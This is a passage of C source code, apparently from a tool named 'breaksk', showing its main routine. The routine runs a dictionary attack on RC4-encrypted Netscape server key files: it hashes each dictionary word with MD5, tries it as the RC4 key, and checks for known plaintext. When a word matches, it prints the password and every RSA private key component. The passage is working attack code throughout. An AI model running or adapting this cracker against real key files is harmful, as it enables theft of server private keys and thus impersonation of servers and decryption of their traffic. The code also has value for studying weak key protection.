  740.     }
  741.  
  742. /* The main program */
  743.  
  744. int main( int argc, char *argv[] )
  745.     {
  746.     FILE *keyFile, *dictFile;
  747.     int count, length = 0;
  748.  
  749.     /* Check args and open the server key file */
  750.     if( argc != 3 )
  751.         {
  752.         puts( "Usage: breaksk <server key file> <dictionary>" );
  753.         return( EXIT_FAILURE );
  754.         }
  755.     if( ( keyFile = fopen( argv[ 1 ], "rb" ) ) == NULL )
  756.         {
  757.         perror( argv[ 1 ] );
  758.         return( EXIT_FAILURE );
  759.         }
  760.  
  761.     /* Read the Netscape outer wrapper */
  762.     if( getc( keyFile ) != 0x30 )
  763.         {
  764.         puts( "This doesn't look like a Netscape server key file." );
  765.         exit( EXIT_FAILURE );
  766.         }
  767.     count = getc( keyFile ) & 0x7F;
  768.     while( count-- )
  769.         getc( keyFile );
  770.     if( ( fread( buffer, 1, 13, keyFile ) != 13 ) || \
  771.         memcmp( buffer, netscapeKeyfileID, 13 ) )
  772.         {
  773.         puts( "This doesn't look like a Netscape server key file." );
  774.         exit( EXIT_FAILURE );
  775.         }
  776.  
  777.     /* Read the PKCS #8 EncryptedPrivateKey wrapper */
  778.     if( getc( keyFile ) != 0x30 )
  779.         {
  780.         puts( "This doesn't look like a Netscape server key file." );
  781.         exit( EXIT_FAILURE );
  782.         }
  783.     count = getc( keyFile ) & 0x7F;
  784.     while( count-- )
  785.         getc( keyFile );
  786.     if( ( fread( buffer, 1, 14, keyFile ) != 14 ) || \
  787.         memcmp( buffer, rc4EncryptionID, 14 ) )
  788.         {
  789.         puts( "This doesn't look like an RC4-encrypted server key." );
  790.         exit( EXIT_FAILURE );
  791.         }
  792.  
  793.     /* Read the start of the EncryptedData field */
  794.     if( getc( keyFile ) != 0x04 )
  795.         {
  796.         puts( "This doesn't look like a Netscape server key file." );
  797.         exit( EXIT_FAILURE );
  798.         }
  799.     count = getc( keyFile ) & 0x7F;
  800.     while( count-- )
  801.         length = ( length << 8 ) | getc( keyFile );
  802.  
  803.     /* Read the encrypted RSAPrivateKey */
  804.     if( fread( buffer, 1, length, keyFile ) != length )
  805.         {
  806.         puts( "Netscape server key file length fields are inconsistent." );
  807.         exit( EXIT_FAILURE );
  808.         }
  809.     fclose( keyFile );
  810.  
  811.     /* We've got the data we want, now rumble through the dictionary trying
  812.        each key on it.  First, make sure we can open the thing */
  813.     if( ( dictFile = fopen( argv[ 2 ], "r" ) ) == NULL )
  814.         {
  815.         perror( argv[ 2 ] );
  816.         return( EXIT_FAILURE );
  817.         }
  818.  
  819.     while( TRUE )
  820.         {
  821.         BYTE hashedPassword[ MD5_DIGESTSIZE ], *hashedPassPtr = hashedPassword;
  822.         MD5_INFO md5Info;
  823.         RC4KEY rc4key;
  824.         char dictWord[ 100 ];
  825.         int dictWordLength, index;
  826.  
  827.         /* Get the next word from the dictionary */
  828.         if( fgets( dictWord, 100, dictFile ) == NULL )
  829.             {
  830.             puts( "No more words in dictionary." );
  831.             break;
  832.             }
  833.         dictWordLength = strlen( dictWord ) - 1;
  834.         dictWord[ dictWordLength ] = '\0';
  835.  
  836.         /* Hash the word using MD5 */
  837.         md5Initial( &md5Info );
  838.         md5Update( &md5Info, ( BYTE * ) dictWord, dictWordLength );
  839.         md5Final( &md5Info );
  840.         for( index = 0; index < MD5_DIGESTSIZE / 4; index++ )
  841.             {
  842.             mputLLong( hashedPassPtr, md5Info.digest[ index ] );
  843.             }
  844.  
  845.         /* Set up the RC4 key based on the hashed password */
  846.         rc4ExpandKey( &rc4key, hashedPassword, MD5_DIGESTSIZE );
  847.  
  848.         /* Copy the data to a temporary buffer and try to decrypt it */
  849.         memcpy( temp, buffer, length );
  850.         rc4Crypt( &rc4key, temp, 22 );
  851.  
  852.         /* Check for known plaintext */
  853.         if( temp[ 0 ] != 0x30 || !( temp[ 1 ] & 0x80 ) )
  854.             continue;
  855.         index = 1;
  856.         count = temp[ index++ ] & 0x7F;
  857.         while( count-- )
  858.             index++;
  859.         if( memcmp( temp + index, version, 3 ) )
  860.             continue;
  861.         index += 3;
  862.         if( memcmp( temp + index, rsaPrivateKeyID, 15 ) )
  863.             continue;
  864.  
  865.         /* We've found the password, display it and decrypt the rest of
  866.            the key */
  867.         printf( "The password used to encrypt this Netscape server key "
  868.                 "is '%s'.\n\n", dictWord );
  869.         index += 15;
  870.         rc4Crypt( &rc4key, temp + 22, length - 22 );
  871.  
  872.         /* Skip the OCTET STRING encapsulation */
  873.         if( temp[ index++ ] != 0x04 )
  874.             {
  875.             /* Should never happen */
  876.             puts( "Bad data format in key file" );
  877.             break;
  878.             }
  879.         count = temp[ index++ ] & 0x7F;
  880.         while( count-- )
  881.             index++;
  882.  
  883.         /* Skip the inner SEQUENCE encapsulation */
  884.         if( temp[ index++ ] != 0x30 )
  885.             {
  886.             /* Should never happen */
  887.             puts( "Bad data format in key file" );
  888.             break;
  889.             }
  890.         count = temp[ index++ ] & 0x7F;
  891.         while( count-- )
  892.             index++;
  893.  
  894.         /* Skip the version number.  NB: This encoding is incorrect and
  895.            violates the ASN.1 encoding rules.  It's strange that the outer
  896.            version number is encoded correctly, but the inner one isn't */
  897.         if( temp[ index++ ] != 0x02 || temp[ index++ ] != 0x00 )
  898.             {
  899.             /* Should never happen */
  900.             puts( "Bad data format in key file" );
  901.             break;
  902.             }
  903.  
  904.         /* OK, now we've reached the key components.  Print each one out */
  905.         index += printKeyComponent( temp + index, "Modulus" );
  906.         index += printKeyComponent( temp + index, "Public exponent" );
  907.         index += printKeyComponent( temp + index, "Private exponent" );
  908.         index += printKeyComponent( temp + index, "Prime 1" );
  909.         index += printKeyComponent( temp + index, "Prime 2" );
  910.         index += printKeyComponent( temp + index, "Exponent 1" );
  911.         index += printKeyComponent( temp + index, "Exponent 2" );
  912.         index += printKeyComponent( temp + index, "Coefficient" );
  913.  
  914.         break;
  915.         }
  916.     fclose( dictFile );
  917.  
  918.     return( EXIT_SUCCESS );
  919.     }
  920.  
  921.  
  922.